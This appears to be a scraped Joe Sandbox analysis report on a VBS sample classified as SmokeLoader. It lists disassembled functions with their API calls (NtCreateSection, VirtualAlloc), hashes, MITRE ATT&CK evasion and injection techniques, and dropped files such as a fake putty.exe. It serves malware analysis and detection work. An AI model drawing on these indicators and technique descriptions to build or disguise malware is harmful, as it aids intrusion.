Sleep.KERNELBASE(00001388), ref: 004018E2

Part of subcall function 004014B5: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401573
Part of subcall function 004014B5: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 004015A0

Memory Dump Source

Source File: 00000007.00000002.1858486535.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_edrecib.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: a0416c7ea6c8b2beaa64009cd037ce3695af2c8d86f7782f0dc7d3fc67dd3c49
Instruction ID: 01e10882b1c060c9bcf7afaa20a424b8b06e3eaca9db3e31c9d827ddeb5dfa52
Opcode Fuzzy Hash: a0416c7ea6c8b2beaa64009cd037ce3695af2c8d86f7782f0dc7d3fc67dd3c49
Instruction Fuzzy Hash: 620178B260C204EBEB042A91CC91EBE2225AB08320F308133B603790F1D67C8753B72F

Function 0040189C Relevance: 1.3, APIs: 1, Instructions: 52sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388), ref: 004018E2

Part of subcall function 004014B5: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401573
Part of subcall function 004014B5: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 004015A0

Memory Dump Source

Source File: 00000007.00000002.1858486535.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_edrecib.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: 6b9a7ba5e763362e57e967b3ef273788d2906451f38bbd38aba7de38a4ba4a16
Instruction ID: 091d8ab5f34d30388949969244c388a12b20eca364eb9837eec97541f3976fe9
Opcode Fuzzy Hash: 6b9a7ba5e763362e57e967b3ef273788d2906451f38bbd38aba7de38a4ba4a16
Instruction Fuzzy Hash: 46015AB360C244EBEB016A90C8A1EAA37659B48310F308577B643790F1D67C8753A72F

Function 004018B1 Relevance: 1.3, APIs: 1, Instructions: 52sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388), ref: 004018E2

Part of subcall function 004014B5: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401573
Part of subcall function 004014B5: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 004015A0

Memory Dump Source

Source File: 00000007.00000002.1858486535.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_edrecib.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: b76e6f8ea108e6f900b2be892df91fc6f607bea987df0946b9f50da5a95319bc
Instruction ID: 35dd9e0e0d775fbf54de8accc2db9d3c4b904cb042cfc7da377ce8c3fe766ee0
Opcode Fuzzy Hash: b76e6f8ea108e6f900b2be892df91fc6f607bea987df0946b9f50da5a95319bc
Instruction Fuzzy Hash: 5501A2B6208244EBDB015AA4CD52AEE37259B04320F244177FA13BA0F1DA7CC653E76F

Function 0054197F Relevance: 1.3, APIs: 1, Instructions: 48memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000040), ref: 005419D0

Memory Dump Source

Source File: 00000007.00000002.1858608967.0000000000530000.00000040.00001000.00020000.00000000.sdmp, Offset: 00530000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_530000_edrecib.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction ID: 995cba72c42569d995567d0f688205392ed3a7af4c51bcef391cae3ba8d7b1de
Opcode Fuzzy Hash: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction Fuzzy Hash: 18113C79A40208EFDB01DF98C985E98BFF5AF08351F158094F9889B362D371EA90DF84

Function 004018D0 Relevance: 1.3, APIs: 1, Instructions: 43sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388), ref: 004018E2

Part of subcall function 004014B5: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401573
Part of subcall function 004014B5: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 004015A0

Memory Dump Source

Source File: 00000007.00000002.1858486535.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_edrecib.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: b859de65e3e4eca09ea0fa0fd0a149a7b7b601be189d05055e302c384b2899de
Instruction ID: 66a051fc3b1640109372302853407978bf892c336f6e5febd052736601f380b8
Opcode Fuzzy Hash: b859de65e3e4eca09ea0fa0fd0a149a7b7b601be189d05055e302c384b2899de
Instruction Fuzzy Hash: DBF04FB6208244EBDB006AD1CC51EAE33699B49364F304173B613790F5D67C8653E72F

Non-executed Functions

Function 0040FA61 Relevance: 6.0, APIs: 4, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__cftof_l.LIBCMT ref: 0040FA87

Part of subcall function 0040F8AC: __fltout2.LIBCMT ref: 0040F8D8

__cftog_l.LIBCMT ref: 0040FAAD
__cftoe_l.LIBCMT ref: 0040FADF

Memory Dump Source

Source File: 00000007.00000002.1858508936.000000000040B000.00000020.00000001.01000000.00000007.sdmp, Offset: 0040B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_40b000_edrecib.jbxd

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: bfaf9c04f800815b6471d517da42daec28121d5ec88fca071302ba537a085f53
Instruction ID: e950241f73d42944cd710210a14d6297da0e762eb9f253b78aae5045d500f0ca
Opcode Fuzzy Hash: bfaf9c04f800815b6471d517da42daec28121d5ec88fca071302ba537a085f53
Instruction Fuzzy Hash: 5511723210014ABBCF229E84CC418EE3F26BB58354B188436FE1864971D33AC9B5AF85

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches ( `dir /a` for Windows and `ls –a` for Linux and macOS).
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report #U041f#U043b#U0430#U0442i#U0436#U043d#U0430 i#U043d#U0441#U0442#U0440#U0443#U043a#U0446i#U044f.vbs

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: SmokeLoader

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_45v1jgik.zlm.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ydy13bbf.zhu.ps1

C:\Users\user\AppData\Roaming\edrecib

C:\Users\user\AppData\Roaming\putty.exe

Static File Info

General

File Icon

Network Behavior

Suricata IDS Alerts

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

Windows Analysis Report
#U041f#U043b#U0430#U0442i#U0436#U043d#U0430 i#U043d#U0441#U0442#U0440#U0443#U043a#U0446i#U044f.vbs

Function 004013BF Relevance: 10.8, APIs: 7, Instructions: 299
COMMON

Function 004014B5 Relevance: 10.7, APIs: 7, Instructions: 180
nativeCOMMON

Function 004014D3 Relevance: 10.7, APIs: 7, Instructions: 169
nativeCOMMON

Function 004014F7 Relevance: 10.7, APIs: 7, Instructions: 161
nativeCOMMON

Function 00402F8F Relevance: 3.2, APIs: 2, Instructions: 168
nativethreadCOMMON

Function 00541CC0 Relevance: 3.0, APIs: 2, Instructions: 41
processCOMMON

Function 005F003C Relevance: 11.0, APIs: 4, Strings: 2, Instructions: 515
memoryCOMMON

Function 005F0E0F Relevance: 3.0, APIs: 2, Instructions: 15
COMMON

Function 0040BC65 Relevance: 1.5, APIs: 1, Instructions: 8
COMMON

Function 00401891 Relevance: 1.3, APIs: 1, Instructions: 58
sleepCOMMON

Function 004018A9 Relevance: 1.3, APIs: 1, Instructions: 53
sleepCOMMON